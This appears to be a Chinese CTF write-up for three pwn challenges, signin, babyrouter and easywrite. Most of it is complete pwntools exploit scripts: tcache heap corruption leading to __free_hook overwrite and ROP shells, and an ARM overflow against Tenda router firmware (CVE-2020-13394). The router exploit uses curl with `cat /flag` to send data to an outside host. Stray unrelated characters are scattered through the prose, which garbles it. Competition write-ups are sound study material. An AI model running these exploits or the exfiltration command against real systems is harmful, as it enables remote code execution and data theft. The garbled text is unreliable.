Signin
題目邏輯
題目定義了一個(gè)用于容器空間動(dòng)態(tài)拓展的結(jié)構(gòu)體:
Struct a
{
void* start; // 申請(qǐng)的chunk起始地址
void* point; // 當(dāng)前使用空間的地址
void* end; // 容器內(nèi)部最多存放元素的結(jié)束地址
}
題目new功能向容器內(nèi)部寫入一個(gè)8字節(jié)長(zhǎng)度的數(shù)字继控,容器空間拓展規(guī)則如下:每次內(nèi)部元素個(gè)數(shù)達(dá)到最大后把兔,分配當(dāng)前空間的2倍空間,并將舊空間數(shù)據(jù)拷貝到新空間。
delete功能就單純將point指針值-8僵闯。
show功能將point指針-8后的地址里面的值打印出來(lái)。
利用
不斷得new藤滥,chunk大小變化為 0x20(A), 0x20(B), 0x30, 0x50, 0x90鳖粟。
兩個(gè)0x20的chunk放入了tcache中(B->A),利用delete和show功能就能夠泄露堆地址拙绊。
修改B chunk里的fd指針向图,分配chunk到tcache里。
分配到tcache后就好辦了标沪,修改tcache->conuts[tc_idx], free掉一個(gè)chunk泄露libc基址榄攀,再修改tcache->entries[tc_idx]來(lái)申請(qǐng)到__free_hook。
由于沒(méi)有合適的one_gadget可用金句,使用setcontext+53來(lái)ROP檩赢。
EXP
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def send(choice):
p.sendlineafter('>>', str(choice))
def add(index, number):
send(1)
p.sendlineafter('dex:', str(index))
p.sendlineafter('Number', str(number))
def delete(index):
send(2)
p.sendlineafter('dex', str(index))
def show(index):
send(3)
p.sendlineafter('dex', str(index))
elf = ELF('./signin')
libc = elf.libc
# p = process('./signin')
p = remote('47.242.161.199', 9990)
add(1, 0) # chunk 0 0x20
add(1, 1) # chunk 1 0x20
add(1, 2) # chunk 2 0x30
add(1, 2) # chunk 2 0x30
add(1, 3) # chunk 3 0x50
add(1, 3)
add(1, 3)
add(1, 3)
for i in range(7): # chunk 4 0x90
add(1, 4)
add(1, 4)
for i in range((0xe8 // 8)+6):
delete(1)
show(1)
heap_base = int(p.recvuntil('\n')[1:]) - (0x0000560689472e70-0x0000560689461000)
log.info("HEAP BASE: "+hex(heap_base))
tcache_fake_chunk = heap_base+0x50+0x150
delete(1)
add(1, tcache_fake_chunk)
add(2, 0)
add(2, 0) # tcache_fake_chunk
add(1, 0)
add(1, 0)
add(1, 0x31)
for i in range(4):
add(1, 0)
add(1, 0)
add(1, 0x51)
for i in range(0x40//8):
add(1, 0)
add(1, 0)
add(1, 0x91)
for i in range(0x80 // 8):
add(1, 0)
for i in range((0x150+0x40+0x10)//8):
delete(2)
for i in range((0x40+0x20)//8):
if i == 0:
add(2, 0xffffffffffffff00)
else:
add(2, 0xffffffffffffffff)
add(1, 5) # free 0x90 chunk in unsorted_bin
for i in range((0x88+0x80)//8):
delete(1)
show(1)
libc_base = int(p.recvuntil('\n')[1:]) - (0x00007ffff782eca0-0x7ffff7443000)
log.info(hex(libc_base))
setcontext = libc_base + 0x52145
free_hook = libc_base + libc.sym['__free_hook']
sh = libc_base + libc.search('/bin/sh').next()
pop_rdi_ret = libc_base + 0x000000000002155f
pop_rdx_rsi_ret = libc_base + 0x0000000000130889
ret = libc_base + 0x00000000000008aa
for i in range(4):
delete(2)
for i in range(0x100//8):
add(2, free_hook)
for i in range((0x70)//8):
add(1, 0)
add(1, 0)
add(1, 0x111)
# orw = [setcontext, pop_rdi_ret, heap_base+0x11fc0-8*3, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['open'],
# pop_rdi_ret, 3, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['read'],
# pop_rdi_ret, 1, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['write']
# ]
orw = [setcontext, pop_rdi_ret, sh, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['system']]
for i in range((0xa0-len(orw)*8)//8):
orw += [0]
orw += [heap_base+0x11fc0+8, ret]
for value in orw:
add(1, value)
for i in range((0x100//8)-len(orw)):
add(1, 0)
add(1, 0)
p.interactive()
babyrouter
晚上才看到這題,開始改docker還改出一堆錯(cuò)誤太菜了违寞,無(wú)奈拿了個(gè)四血(Venom tql)贞瞒。
題目
逆的時(shí)候發(fā)現(xiàn)有Tenda
關(guān)鍵字,Google一下發(fā)現(xiàn)CVE-2020-13394
,https://joel-malwarebenchmark.github.io/
鏈接里給的POC把路徑給隱藏掉了趁曼,但逆一下就能找到路徑應(yīng)該是/goform/SetNetControlList
經(jīng)過(guò)測(cè)試军浆,這個(gè)payload得發(fā)送兩次,而且需要斷開TCP連接后才能觸發(fā)漏洞點(diǎn)strcpy
給的start.sh
改成這樣挡闰,docker exec
上去用gdbserver
就能愉快的調(diào)試了瘾敢。
#!/bin/sh
# Add your startup script
brctl addbr br0
ifconfig br0 10.10.10.10 up
service nginx start
nginx -t
nginx -s reload
PRO_NAME=qemu-arm
while true ; do
NUM=`ps aux | grep ${PRO_NAME} | grep -v grep |wc -l`
if [ "${NUM}" -lt "1" ];then
echo "${PRO_NAME} was killed"
${PRO_NAME} -g 1234 -L /pwn /pwn/httpd >> /tmp/qemu.txt& # debug
rm /qemu_httpd*
rm /tmp/core-qemu*
fi
done
調(diào)試確定偏移,并且由于程序由qemu
起的尿这,棧地址以及l(fā)ibc基址不變簇抵,調(diào)試得到這兩個(gè)地址直接寫進(jìn)去,最后調(diào)用system()
函數(shù)射众。
由于需要斷開TCP連接才能觸發(fā)漏洞碟摆,system函數(shù)執(zhí)行curl http://ip/`cat /flag`來(lái)帶出flag
EXP
#coding:utf-8
from pwn import *
context.log_level = 'debug'
payload = '''POST /goform/SetNetControlList HTTP/1.1\r
Host: 192.168.18.131\r
Accept: */*\r
X-Requested-With: XMLHttpRequest\r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en-US,en;q=0.9\r
Connection: close\r
Cookie: password=qpl5gk\r
\r
list={}\r
'''
url = '8.210.119.59'
port = 9990
# url = '127.0.0.1'
# port = 2333
libc_base = 0xf659b000
vuln_start = 0xf6ffefbc
system = libc_base + 0x0005A270
sh = libc_base + 0x00626D2
pop_r0_pc = libc_base + 0x0003db80
p = remote(url, port)
p.send(payload.format('1'))
p.close()
p = remote(url, port)
p.send(payload.format(';'+'1'*(0x260-1+9)+p32(pop_r0_pc)+p32(vuln_start+0x260+0xc)+p32(system)+'curl http://your_ip/`cat /flag`'))
p.close()
easywrite
比賽時(shí)沒(méi)做出來(lái),賽后看https://ctftime.org/writeup/24295復(fù)現(xiàn)了下
思路是偽造struct tcache_perthread_struct
改 tcache, malloc(0x30)到free_hook,改free_hook叨橱。
不過(guò)沒(méi)有可用的one_gadget, 需要malloc(0x30) 到 free_hook-8, 前八個(gè)字節(jié)放"/bin/sh", 后8個(gè)字節(jié)放system函數(shù)地址典蜕。
EXP
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def get_libc_base():
p.recvuntil('gift:', timeout=5)
libc_base = int(p.recv(14), 16) - libc.sym['setbuf']
return libc_base
def send_message(content):
p.sendafter('message', str(content))
def send_addr(addr):
p.sendafter('write', p64(addr))
pfree = 0x0000000000001371
elf = ELF('./easywrite')
libc = ELF(('./libc-2.31.so'))
# p = process('./easywrite')
p = remote('124.156.183.246', 20000)
# gdb.attach(p,'b*$rebase({})'.format(pfree))
libc_base = get_libc_base()
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
tcache = libc_base + 0x1f34f0
one_gadget = libc_base + 0xe6e76
system = libc_base + libc.sym['system']
fake_chunk = '\x07'*0x80+p64(free_hook-8)*4
p.sendafter("message", str(fake_chunk))
p.sendafter('write', p64(tcache))
p.sendafter("message", '/bin/sh\x00'+p64(system))
p.interactive()